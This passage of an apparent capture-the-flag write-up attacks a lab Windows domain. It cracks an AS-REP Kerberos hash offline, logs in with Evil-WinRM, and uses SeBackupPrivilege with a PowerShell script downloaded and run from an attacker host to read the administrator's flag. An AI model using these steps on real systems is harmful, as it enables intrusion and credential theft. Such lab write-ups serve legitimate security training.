$krb5asrep$23$jorden@MEGACORP.LOCAL:96c21e37353a6d3e7088cca6b9386a46$33fc899ab36a6a68c272f6f37e37ad5e1ddaf10471a09fcfea74160d446ba1f3fe68d19a42f26a30b89d7a08b14284c26dd63e8e1bdf3e836526f4d4ef9832de0ba1186118c79b6c749193f0046d491e2178ff54a2acbdf75cd3fd080c2ffc06162a92b601e5049477e7eb93da12f5bef7a4800f803aef5934f8e467d6d70426d33ae21af1d50eed335c06e0e905a68b51802deb1c134dded198776bdc1c7b03d01edefcc7fdb0c3114f01bd566a004453a6412ab5e6d36ea6d413a5bac44e36e7890683912e26e311c447047c03311aecb203e1e968cfbbe95b8a09a8be57f412e194bf4606e8dc9514a2491beb0cc4
You just have to copy/paste the recovered hash in a file and try to crack it offline using the rockyou (or any other list) passwords list (if you are using Kali Linux, it should be present in the /usr/share/wordlists/
folder).
Here, we used John the Ripper to crack the password, but it can be done with other tools.
$ john jorden.hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rainforest786 ($krb5asrep$23$jorden@MEGACORP.LOCAL)
1g 0:00:00:06 DONE (2022-06-05 16:28) 0.1547g/s 681372p/s 681372c/s 681372C/s rainian..raincole
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Recon as Jorden
Using Evil-WinRM and the recovered account, we can try to connect to the remote machine.
$ evil-winrm -i 10.129.247.110 -u jorden -p rainforest786
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jorden\Documents>
Nice, let’s see what kind of privileges we have.
*Evil-WinRM* PS C:\Users\jorden\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeBackupPrivilege, this is interesting.
Abusing Tokens
The SeBackupPrivilege privilege causes the system to grant all read access control to any file (read only). It means that we could read the root.txt by abusing this token.
Using a tool called Acl-FullControl.ps1, we were able to change the access rights of the svc_backup and allow him to read the administrator folder.
*Evil-WinRM* PS C:\Users\jorden\Documents> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.20/Acl-FullControl.ps1')
*Evil-WinRM* PS C:\Users\jorden\Documents> Acl-FullControl -user megacorp\jorden -path c:\users\administrator
[+] Current permissions:
Path : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
MEGACORP\Administrator Allow FullControl
Audit :
Sddl : O:SYG:SYD:P(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)
[+] Changing permissions to c:\users\administrator
[+] Acls changed successfully.
Path : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
MEGACORP\Administrator Allow FullControl
MEGACORP\jorden Allow FullControl
Audit :
Sddl : O:SYG:SYD:PAI(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)(A;OICI;FA;;;S-1-5-21-3167813660-1240564177-918740779-3110)
Now, we should have the necessary rights to read the root.txt file and get the second flag.
*Evil-WinRM* PS C:\Users\jorden\Documents> dir c:\users\administrator\desktop
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/5/2022 10:07 AM 34 root.txt
Awesome! I hope you enjoyed it, I know I did :)